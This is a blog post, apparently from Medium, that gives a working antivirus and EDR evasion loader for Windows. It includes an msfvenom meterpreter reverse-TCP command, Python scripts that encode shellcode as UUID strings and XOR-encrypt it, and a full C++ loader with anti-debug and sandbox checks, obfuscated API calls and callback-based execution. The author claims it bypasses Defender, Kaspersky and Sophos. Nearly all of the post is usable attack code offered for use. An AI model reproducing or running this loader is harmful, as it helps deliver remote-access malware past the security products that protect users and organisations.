EDR/AV EVASION
EPISODE 2 : METHOD 1 (9/70 virus total rating)
EDR/AV EVASION
EPISODE 2 : BYPASSING WINDOWS DEFENDER
Minimizing Meterpreter Payload Detection Using Shellcode Injection. (TESTED ON VIRUS-TOTAL)
— Simply put, shell-code injection is a hacking technique where the hacker exploits vulnerable programs.Our POC doesn’t use standard functions like memcpy or WriteProcessMemory which are known to raise alarms to AVs/EDRs, this program uses the Windows API function called UuidFromStringA which can be used to decode data as well as write it to memory.
- It uses the function call obfuscation trick to call the Windows API functions
— Particulary we will be using shellcode injection technique using C++ that attempts to bypass Windows Defender using XOR encryption sorcery and UUID strings madness :).
UUID: A universally unique identifier (UUID) is a 128-bit label used for information in computer systems
XOR encryption :XOR Encryption is an encryption method used to encrypt data and is hard to crack by brute-force method, i.e generating random encryption keys to match with the correct one.
IMPORTANT : . You have to change the default executable filename value(row 90) to your filename.(In CPP file)
.You have to change the xor key(line 85) to what you wish. This also has to be done in the ./xor_encryptor.py python3 script by changing the KEY variable.
.Mingw Compiler
- Firstly, generate a payload in binary format(
msfvenom) for instance, inmsfvenomfor illustration purposes, you can use whatever payload you want ):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=8081 -f raw > shellcode.bin
2.Then convert the shellcode( in binary/raw format ) into a UUID string format using the Python3 script.(Conversion of Binary toUUID is beyond the scope of this blog)
Syntax:
./bin_to_uuid.py -p shellcode.bin -o uuid.txt
Python Code for Conversion of Binary to UUID
#!/usr/bin/env python3
def bin_to_uuid(bin_data, output=None):
from uuid import UUID
uuid_str = ''
with open(bin_data, 'rb') as fh:
# read in 16 bytes from the file
data_chunk = fh.read(16)
while data_chunk:
# if chunk is less than 16 bytes then we pad the
# difference with a NOP(0x90)
if len(data_chunk) < 16:
padding = 16 - len(data_chunk)
data_chunk += (b'\x90' * padding)
uuid_str = "\n".join((uuid_str, f'{UUID(bytes_le=data_chunk)}'))
# read in more 16 bytes from the file
data_chunk = fh.read(16)
uuid_str = uuid_str.lstrip('\n')
if output:
with open(output, "w") as fh:
fh.write(uuid_str)
else:
print(uuid_str)
return
def main():
from argparse import ArgumentParser
parser = ArgumentParser(
"bin_to_uuid", description="Converts binary files into legit UUID")
parser.add_argument(
'-p',
'--payload',
required=True,
help='payload (in binary format) that is to be converted to UUID')
parser.add_argument(
'-o',
'--output',
required=False,
help='output file for the payload that was converted to UUID')
args = vars(parser.parse_args())
bin_to_uuid(args['payload'], args['output'])
if '__main__' == __name__:
main()
- Encrypt the
UUIDstrings in theuuid.txtusing the Python3 script,
#!/usr/bin/env python3
import sys
KEY = "CHANGEME"
class XorCipher:
__slots__ = ("key", "_key_length", "_fname", "_ciphertext", "_plaintext")
def __init__(self, filename: str, xor_key: str) -> None:
self.key = str(xor_key)
self._key_length = len(self.key)
self._fname = filename
self._ciphertext = ""
self._plaintext = b""
def _xor_crypt(self) -> None:
i = 0
for char in self._plaintext:
self._ciphertext += chr(char ^ ord(self.key[i % self._key_length]))
i += 1
def _print_ciphertext(self) -> None:
from textwrap import TextWrapper
wrapper = TextWrapper(width=56, initial_indent="\n")
xor_array = ("{ 0x" +
", 0x".join(hex(ord(x))[2:].zfill(2).upper()
for x in self._ciphertext) + " };")
wrapped_xor_array = wrapper.fill(xor_array)
print(wrapped_xor_array)
def run(self) -> None:
try:
with open(self._fname, "rb") as fp:
self._plaintext = fp.read()
except Exception as e:
print(f"[-] Error with specified file({self._fname}): {e}",
file=sys.stderr)
sys.exit(1)
else:
self._xor_crypt()
self._print_ciphertext()
return
def main():
# xor key should be similar to the one in the C++ file(fud-uuid-shc.cpp). Please
# endeavour to change it!!
# Also the "file" opened by default is the file you supply at the command line
# NOTE: You can port this class( XorCipher ) to your own scripts neatly.
try:
xor_crypt = XorCipher(filename=sys.argv[1], xor_key=KEY)
except IndexError:
print("[-] File argument needed! \n\t%s <file_to_xor_encrypt>" %
sys.argv[0],
file=sys.stderr)
sys.exit(1)
else:
xor_crypt.run()
if __name__ == "__main__":
main()
4.Copy the C-style array in the file, xor_crypted_out.txt, and paste it in the C++ file as an array of unsigned char i.e. unsigned char payload[]{your_output_from_xor_crypted_out.txt}

#include <windows.h>
// ------------------
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <rpc.h>
#include <vector>
using std::vector;
// set your xor key( it should be similar to the one you used in the "xor_encryptor.py" )
#define XOR_KEY "CHANGEME"
#define EXE_NAME "lazarus.exe"
#define FAKE_OFFSET 0x1f // confuse the reverse engineer till she/he laughs at people blinking
// each single UUID string( C-style string ) comprises:
// std uuid content( 36 characters ) + NULL terminator == 37
#define UUID_LINE_LEN 37
#define LOTS_OF_MEM 250'000'000
// the MAGICAL( but random ) byte
#define MAGIC_BYTE 0xf1
// Uncomment the line below if you're using Visual Studio for compiling.
// #pragma comment(lib, "Rpcrt4.lib")
BOOL(WINAPI *pMVP)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
LPVOID(WINAPI *pMVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef LPVOID(WINAPI *pVirtualAllocExNuma)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType,
DWORD flProtect, DWORD nndPreferred);
bool checkNUMA()
{
LPVOID mem{NULL};
const char k32DllName[13]{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0};
const char vAllocExNuma[19]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l',
'o', 'c', 'E', 'x', 'N', 'u', 'm', 'a', 0x0};
pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(GetModuleHandle(k32DllName), vAllocExNuma);
mem =
myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL)
{
return false;
}
else
{
return true;
}
}
bool checkResources()
{
SYSTEM_INFO s{};
MEMORYSTATUSEX ms{};
DWORD procNum{};
DWORD ram{};
GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2)
return false;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2)
return false;
return true;
}
void XOR(BYTE *data, unsigned long data_len, const char *key, unsigned long key_len)
{
unsigned long i{0x0345};
{
size_t i{};
do
{
i <<= FAKE_OFFSET;
data[i >> FAKE_OFFSET] ^= key[(i >> FAKE_OFFSET) % key_len];
i >>= FAKE_OFFSET;
++i;
} while (i % data_len);
}
}
int main(int argc, char *argv[])
{
FreeConsole();
// payload generation:
// 1. msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
// 2. python ./bin_to_uuid.py -p calc.bin -o calc.uuid
// 3. python ./xor_encryptor.py calc.uuid > calc.xor
vector<BYTE> payload{
//INSERT YOUR GENERATED BYTE CODE HERE //
};
char key[]{XOR_KEY};
if (strstr(argv[0], EXE_NAME) == NULL)
{
return -2;
}
if (IsDebuggerPresent())
{
return -2;
}
if (checkNUMA())
{
return -2;
}
// Uncomment if you're more interested in evading code emulators
// if (checkResources() == false)
// {
// return -2;
// }
const char virtProt[15]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0};
Sleep(7500); // you could use "ekko" by crack5pider for this, i'm still lazy for this
const char k32DllName[13]{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0};
const char vAlloc[13]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0};
BYTE *junk_mem{(BYTE *)malloc(LOTS_OF_MEM)};
if (junk_mem)
{
memset(junk_mem, MAGIC_BYTE, LOTS_OF_MEM);
free(junk_mem);
#if DEBUG
printf("Before xor: %s\n\n", payload.data());
#endif
// a NULL terminator can cause very SERIOUS bugs so 1st remove it from the key
XOR(payload.data(), payload.size(), key, (sizeof(key) - 1));
#if DEBUG
printf("After xor: %s\n\n", payload.data());
#endif
HMODULE k32_handle{GetModuleHandle(k32DllName)};
BOOL rv{};
char chars_array[UUID_LINE_LEN]{};
DWORD oldprotect{0};
char *temp{};
pMVA = GetProcAddress(k32_handle, vAlloc);
PVOID mem = pMVA(0, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD_PTR hptr = reinterpret_cast<DWORD_PTR>(mem);
int i{}; // fool some AVs. maybe give them a detour :)
for (temp = strtok((char *)payload.data(), "\n"); temp;)
{
strncpy(chars_array, temp, UUID_LINE_LEN);
chars_array[UUID_LINE_LEN - 1] = 0x0; // the NULL byte :)
#if DEBUG
printf("Sub-string: %s\n\n", chars_array);
#endif
RPC_CSTR rcp_cstr = (RPC_CSTR)chars_array;
RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID *)hptr);
if (status != RPC_S_OK)
{
fprintf(stderr, "[-] UUID conversion error: try to make sure your XOR keys match or "
"correct the way you set up the payload.\n");
CloseHandle(mem);
return EXIT_FAILURE;
}
hptr += 16;
temp = strtok(NULL, "\n");
}
pMVP = GetProcAddress(k32_handle, virtProt);
rv = pMVP(mem, 0x100000, PAGE_EXECUTE_READ, &oldprotect);
if (!rv)
{
fprintf(stderr, "[-] Failed to change the permissions for shellcode's memory\n");
return EXIT_FAILURE;
}
// attack! boom! we like planning events! :)
EnumCalendarInfoEx((CALINFO_ENUMPROCEX)mem, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);
CloseHandle(mem);
// should be ready for exfil! but successful code might never reach here! :(
#if DEBUG
printf("[+] PWNED!!\n\t\tYOU'RE IN!\n");
#endif
return 0;
}
else
{
return EXIT_FAILURE; // survived that AV/EDR. Phew!!
}
}
Execution
This shellcode injection technique comprises the following subsequent steps:
- First things first, it allocates virtual memory for payload execution and residence via
VirtualAlloc - It
xordecrypts the payload using thexorkey value - Uses
UuidFromStringAto convertUUIDstrings into their binary representation and store them in the previously allocated memory. This is used to avoid the usage of suspicious APIs likeWriteProcessMemoryormemcpy. - Use
EnumChildWindowsto execute the payload previously loaded into memory( in step 1 )
WILL NOT POST FULL DETAILS TO PREVENT MISUSE BY SCRIPT KIDDIES — Basic Coding Skills to generate exe using cpp.
VIRUS-TOTAL RESULTS.
Bypasses Kaspersky , WinDefender , Sophos among other security vendors.

STAY TUNED TO THE NEXT EPISODE
메타데이터
- post_id
- 15d5f6d4e408
- slug
- edr-av-evasion-15d5f6d4e408
- url
- https://medium.com/@brianbarakakasamba/edr-av-evasion-15d5f6d4e408
- canonical_url
- https://medium.com/@brianbarakakasamba/edr-av-evasion-15d5f6d4e408
- author_url
- https://medium.com/@brianbarakakasamba
- status
- ok
- fetched_at
- 2026-07-20 20:37:08